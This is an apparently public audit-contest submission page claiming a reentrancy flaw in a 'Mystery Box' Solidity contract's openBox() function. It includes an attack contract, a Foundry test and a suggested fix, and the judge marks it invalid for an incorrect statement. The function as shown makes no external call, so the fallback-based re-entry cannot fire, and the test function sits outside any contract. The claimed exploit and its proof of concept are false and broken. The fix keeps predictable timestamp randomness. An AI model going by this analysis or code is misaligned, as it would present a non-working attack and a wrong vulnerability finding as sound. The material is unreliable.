Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Reentrancy Vulnerability in openBox() Function

bryanconquer

Summary

The openBox() function contains a reentrancy vulnerability that allows an attacker to repeatedly call the function and claim rewards without the proper deduction of boxes. This is caused by the failure to update the contract state (i.e., decrementing boxesOwned) before the function logic is fully executed.

Vulnerability Details

The vulnerability lies in the fact that the state variable boxesOwned[msg.sender] is only decremented after the reward logic is processed. This leaves the contract open to a reentrancy attack, whereby an attacker could re-enter the contract and call the openBox() function multiple times before the state is updated.

Steps in openBox() leading to vulnerability:

  1. require(boxesOwned[msg.sender] > 0, "No boxes to open"); verifies that the user has boxes.

  2. The random value is generated, and the reward is assigned to the user before the state (boxesOwned) is updated.

  3. Only at the end of the function is boxesOwned[msg.sender] -= 1; called, decrementing the user's boxes.

Impact
Potential Reward Manipulation: An attacker could call openBox() repeatedly before the state is updated, allowing them to accumulate rewards without actually reducing the number of boxes they own.

  • Excessive Reward Distribution: The attacker could gain multiple high-value rewards (e.g., "Gold Coin") without spending the required number of boxes.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "../src/MysteryBox.sol";
​
contract Attack {
MysteryBox public mysteryBox;
address public attacker;
bool public attackInProgress = false;
​
constructor(address _mysteryBoxAddress) {
mysteryBox = MysteryBox(_mysteryBoxAddress);
attacker = msg.sender;
}
​
// Initiate the attack
function startAttack() external payable {
require(msg.value >= 0.1 ether, "Insufficient ETH for box purchase");
mysteryBox.buyBox{value: msg.value}();
mysteryBox.openBox(); // Reentrant call
}
​
// Fallback function that triggers reentrancy
fallback() external payable {
if (!attackInProgress) {
attackInProgress = true;
// Re-enter the vulnerable contract's openBox function
mysteryBox.openBox();
}
}
​
// Function to withdraw stolen rewards
function withdrawStolenEther() external {
require(msg.sender == attacker, "Only attacker can withdraw");
payable(attacker).transfer(address(this).balance);
}
​
receive() external payable {}
}
​
function testReentrancyAttack() public {
// Setup the environment
vm.deal(user1, 1 ether);
vm.deal(address(this), 1 ether);
​
// Deploy the Attack contract with reference to the MysteryBox contract
Attack attackContract = new Attack(address(mysteryBox));
​
// Fund the attacker with Ether
vm.prank(user1);
vm.deal(user1, 1 ether);
​
// User1 buys a box (triggering the attack through Attack contract)
vm.prank(user1);
attackContract.startAttack{value: 0.1 ether}();
​
// Ensure that the attack was successful by checking the reward count
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
console2.log("Rewards after attack:", rewards.length);
assertGt(rewards.length, 1, "Attack should have increased reward count without decrementing boxesOwned.");
​
// Withdraw stolen ether from the Attack contract
vm.prank(user1);
attackContract.withdrawStolenEther();
}
​


Tools Used

manual

Recommendations

Follow the checks-effects-interactions pattern by updating the contract state before performing any further logic:

function openBox() public {
require(boxesOwned[msg.sender] > 0, "No boxes to open");
​
// Update state first to prevent reentrancy attacks
boxesOwned[msg.sender] -= 1;
​
// Proceed with reward generation and distribution
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender))) % 100;
if (randomValue < 75) {
rewardsOwned[msg.sender].push(Reward("Coal", 0 ether));
} else if (randomValue < 95) {
rewardsOwned[msg.sender].push(Reward("Bronze Coin", 0.1 ether));
} else if (randomValue < 99) {
rewardsOwned[msg.sender].push(Reward("Silver Coin", 0.5 ether));
} else {
rewardsOwned[msg.sender].push(Reward("Gold Coin", 1 ether));
}
}
​
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 1 year ago

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!